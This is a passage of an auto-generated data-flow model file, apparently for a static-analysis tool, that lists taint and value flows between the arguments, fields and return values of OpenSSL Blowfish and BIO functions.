"Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BF_encrypt", "(unsigned int *,const BF_KEY *)", "", "Argument[*1].Field[*S]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BF_encrypt", "(unsigned int *,const BF_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BF_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_address", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[**ai_addr]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_address", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_addr]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_family", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_family]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_next", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[**ai_next]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_next", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_next]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_protocol", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_protocol]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_sockaddr", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[**ai_addr]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_sockaddr", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_addr]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_sockaddr_size", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_addrlen]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDRINFO_socktype", "(const BIO_ADDRINFO *)", "", "Argument[*0].Field[*ai_socktype]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_copy", "(BIO_ADDR *,const BIO_ADDR *)", "", "Argument[*1].Union[*bio_addr_st]", "Argument[*0].Union[*bio_addr_st]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_copy", "(BIO_ADDR *,const BIO_ADDR *)", "", "Argument[1]", "Argument[*0].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_dup", "(const BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st]", "ReturnValue[*].Union[*bio_addr_st]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_dup", "(const BIO_ADDR *)", "", "Argument[0]", "ReturnValue[*].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_family", "(const BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st].Field[*sa_family]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_make", "(BIO_ADDR *,const sockaddr *)", "", "Argument[*1]", "Argument[*0].Union[*bio_addr_st]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_make", "(BIO_ADDR *,const sockaddr *)", "", "Argument[1]", "Argument[*0].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_path_string", "(const BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st].Field[*sun_path]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawaddress", "(const BIO_ADDR *,void *,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[*2]", "Argument[*0].Union[*bio_addr_st].Field[*sin6_addr]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[*2]", "Argument[*0].Union[*bio_addr_st].Field[*sin_addr]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[*2]", "Argument[*0].Union[*bio_addr_st].Field[*sun_path]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[1]", "Argument[*0].Union[*bio_addr_st].Field[*sin6_family]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[1]", "Argument[*0].Union[*bio_addr_st].Field[*sin_family]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[1]", "Argument[*0].Union[*bio_addr_st].Field[*sun_family]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[2]", "Argument[*0].Union[*bio_addr_st].Field[*sin6_addr]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[2]", "Argument[*0].Union[*bio_addr_st].Field[*sin_addr]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[2]", "Argument[*0].Union[*bio_addr_st].Field[*sun_path]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[4]", "Argument[*0].Union[*bio_addr_st].Field[*sin6_port]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawmake", "(BIO_ADDR *,int,const void *,size_t,unsigned short)", "", "Argument[4]", "Argument[*0].Union[*bio_addr_st].Field[*sin_port]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawport", "(const BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st].Field[*sin6_port]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_rawport", "(const BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st].Field[*sin_port]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_sockaddr", "(const BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_sockaddr", "(const BIO_ADDR *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_ADDR_sockaddr_noconst", "(BIO_ADDR *)", "", "Argument[*0].Union[*bio_addr_st]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_ADDR_sockaddr_noconst", "(BIO_ADDR *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept", "(int,char **)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept", "(int,char **)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept", "(int,char **)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept", "(int,char **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept_ex", "(int,BIO_ADDR *,int)", "", "Argument[*1].Union[*bio_addr_st]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept_ex", "(int,BIO_ADDR *,int)", "", "Argument[0]", "Argument[*1].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept_ex", "(int,BIO_ADDR *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept_ex", "(int,BIO_ADDR *,int)", "", "Argument[1]", "Argument[*1].Union[*bio_addr_st]", "taint", "dfc-generated"] + - ["", "", True, "BIO_accept_ex", "(int,BIO_ADDR *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_clear_flags", "(BIO *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "BIO_debug_callback", "(BIO *,int,const char *,int,long,long)", "", "Argument[5]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_debug_callback_ex", "(BIO *,int,const char *,size_t,int,long,int,size_t *)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_debug_callback_ex", "(BIO *,int,const char *,size_t,int,long,int,size_t *)", "", "Argument[6]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_debug_callback_ex", "(BIO *,int,const char *,size_t,int,long,int,size_t *)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "BIO_dup_chain", "(BIO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BIO_find_type", "(BIO *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BIO_find_type", "(BIO *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_callback", "(const BIO *)", "", "Argument[*0].Field[*callback]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_callback_arg", "(const BIO *)", "", "Argument[*0].Field[**cb_arg]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_get_callback_arg", "(const BIO *)", "", "Argument[*0].Field[*cb_arg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_callback_ex", "(const BIO *)", "", "Argument[*0].Field[*callback_ex]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_data", "(BIO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "BIO_get_data", "(BIO *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "BIO_get_data", "(BIO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BIO_get_ex_data", "(const BIO *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_get_init", "(BIO *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_line", "(BIO *,char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BIO_get_line", "(BIO *,char *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_get_retry_BIO", "(BIO *,int *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BIO_get_retry_BIO", "(BIO *,int *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_retry_reason", "(BIO *)", "", "Argument[*0].Field[*retry_reason]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_get_shutdown", "(BIO *)", "", "Argument[*0].Field[*shutdown]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_gethostbyname", "(const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "BIO_gethostbyname", "(const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[*0]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[*1]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[0]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[1]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[3]", "Argument[**5].Field[*ai_family]", "value", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[4]", "Argument[**5].Field[*ai_socktype]", "value", "dfc-generated"] + - ["", "", True, "BIO_lookup", "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[*0]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[*1]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[0]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[1]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[3]", "Argument[**6].Field[*ai_family]", "value", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[4]", "Argument[**6].Field[*ai_socktype]", "value", "dfc-generated"] + - ["", "", True, "BIO_lookup_ex", "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "BIO_meth_get_callback_ctrl", "(const BIO_METHOD *)", "", "Argument[*0].Field[*callback_ctrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_create", "(const BIO_METHOD *)", "", "Argument[*0].Field[*create]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_ctrl", "(const BIO_METHOD *)", "", "Argument[*0].Field[*ctrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_destroy", "(const BIO_METHOD *)", "", "Argument[*0].Field[*destroy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_gets", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bgets]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_puts", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bputs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_read", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bread_old]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_read_ex", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bread]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_recvmmsg", "(const BIO_METHOD *)", "", "Argument[*0].Field[*brecvmmsg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_sendmmsg", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bsendmmsg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_write", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bwrite_old]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_write_ex", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bwrite]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_new", "(int,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_new", "(int,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_new", "(int,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "BIO_meth_set_callback_ctrl", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*callback_ctrl]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_create", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*create]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_ctrl", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ctrl]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_destroy", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*destroy]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_gets", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bgets]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_puts", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bputs]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_read", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bread_old]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_read_ex", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bread]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_recvmmsg", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*brecvmmsg]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_sendmmsg", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bsendmmsg]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_write", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bwrite_old]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_write_ex", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bwrite]", "value", "dfc-generated"] + - ["", "", True, "BIO_method_name", "(const BIO *)", "", "Argument[*0].Field[**method].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_method_name", "(const BIO *)", "", "Argument[*0].Field[**method].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_method_type", "(const BIO *)", "", "Argument[*0].Field[**method].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_new", "(const BIO_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "BIO_new", "(const BIO_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_CMS", "(BIO *,CMS_ContentInfo *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_CMS", "(BIO *,CMS_ContentInfo *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_NDEF", "(BIO *,ASN1_VALUE *,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_NDEF", "(BIO *,ASN1_VALUE *,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_PKCS7", "(BIO *,PKCS7 *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_PKCS7", "(BIO *,PKCS7 *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_ex", "(OSSL_LIB_CTX *,const BIO_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_ex", "(OSSL_LIB_CTX *,const BIO_METHOD *)", "", "Argument[*1]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_ex", "(OSSL_LIB_CTX *,const BIO_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_ex", "(OSSL_LIB_CTX *,const BIO_METHOD *)", "", "Argument[1]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_from_core_bio", "(OSSL_LIB_CTX *,OSSL_CORE_BIO *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_from_core_bio", "(OSSL_LIB_CTX *,OSSL_CORE_BIO *)", "", "Argument[*1]", "ReturnValue[*].Field[**ptr]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_from_core_bio", "(OSSL_LIB_CTX *,OSSL_CORE_BIO *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_from_core_bio", "(OSSL_LIB_CTX *,OSSL_CORE_BIO *)", "", "Argument[1]", "ReturnValue[*].Field[*ptr]", "value", "dfc-generated"] + - ["", "", True, "BIO_next", "(BIO *)", "", "Argument[*0].Field[**next_bio]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_next", "(BIO *)", "", "Argument[*0].Field[*next_bio]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_number_read", "(BIO *)", "", "Argument[*0].Field[*num_read]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_number_written", "(BIO *)", "", "Argument[*0].Field[*num_write]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_parse_hostserv", "(const char *,char **,char **,BIO_hostserv_priorities)", "", "Argument[*0]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "BIO_parse_hostserv", "(const char *,char **,char **,BIO_hostserv_priorities)", "", "Argument[*0]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "BIO_parse_hostserv", "(const char *,char **,char **,BIO_hostserv_priorities)", "", "Argument[0]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "BIO_parse_hostserv", "(const char *,char **,char **,BIO_hostserv_priorities)", "", "Argument[0]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "BIO_parse_hostserv", "(const char *,char **,char **,BIO_hostserv_priorities)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BIO_parse_hostserv", "(const char *,char **,char **,BIO_hostserv_priorities)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "BIO_pop", "(BIO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "BIO_pop", "(BIO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[0]", "Argument[*1].Field[*prev_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_read_ex", "(BIO *,void *,size_t,size_t *)", "", "Argument[*3]", "Argument[*0].Field[*num_read]", "taint", "dfc-generated"] + - ["", "", True, "BIO_read_ex", "(BIO *,void *,size_t,size_t *)", "", "Argument[3]", "Argument[*0].Field[*num_read]", "taint", "dfc-generated"] + - ["", "", True, "BIO_read_ex", "(BIO *,void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "BIO_set_callback", "(BIO *,BIO_callback_fn)", "", "Argument[1]", "Argument[*0].Field[*callback]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_callback_arg", "(BIO *,char *)", "", "Argument[*1]", "Argument[*0].Field[**cb_arg]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_callback_arg", "(BIO *,char *)", "", "Argument[1]", "Argument[*0].Field[*cb_arg]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_callback_ex", "(BIO *,BIO_callback_fn_ex)", "", "Argument[1]", "Argument[*0].Field[*callback_ex]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_data", "(BIO *,void *)", "", "Argument[**1]", "Argument[*0].Field[***ptr]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_data", "(BIO *,void *)", "", "Argument[*1]", "Argument[*0].Field[**ptr]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_data", "(BIO *,void *)", "", "Argument[1]", "Argument[*0].Field[*ptr]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_flags", "(BIO *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "BIO_set_init", "(BIO *,int)", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_next", "(BIO *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_next", "(BIO *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_retry_reason", "(BIO *,int)", "", "Argument[1]", "Argument[*0].Field[*retry_reason]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_shutdown", "(BIO *,int)", "", "Argument[1]", "Argument[*0].Field[*shutdown]", "value", "dfc-generated"] + - ["", "", True, "BIO_snprintf", "(char *,size_t,const char *,...)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BIO_snprintf", "(char *,size_t,const char *,...)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_snprintf", "(char *,size_t,const char *,...)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ssl_copy_session_id", "(BIO *,BIO *)", "", "Argument[*0].Field[**next_bio].Field[**next_bio]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BIO_ssl_copy_session_id", "(BIO *,BIO *)", "", "Argument[*0].Field[**next_bio]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BIO_ssl_copy_session_id", "(BIO *,BIO *)", "", "Argument[*1].Field[**next_bio].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "BIO_ssl_copy_session_id", "(BIO *,BIO *)", "", "Argument[*1].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "BIO_ssl_shutdown", "(BIO *)", "", "Argument[*0].Field[**next_bio].Field[**next_bio]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BIO_ssl_shutdown", "(BIO *)", "", "Argument[*0].Field[**next_bio]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BIO_test_flags", "(const BIO *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_test_flags", "(const BIO *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_vprintf", "(BIO *,const char *,va_list)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "BIO_vsnprintf", "(char *,size_t,const char *,va_list)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BIO_vsnprintf", "(char *,size_t,const char *,va_list)", "", "Argument[*3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BIO_vsnprintf", "(char *,size_t,const char *,va_list)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_vsnprintf", "(char *,size_t,const char *,va_list)", "", "Argument[2]", "Argument[*0]", "taint", 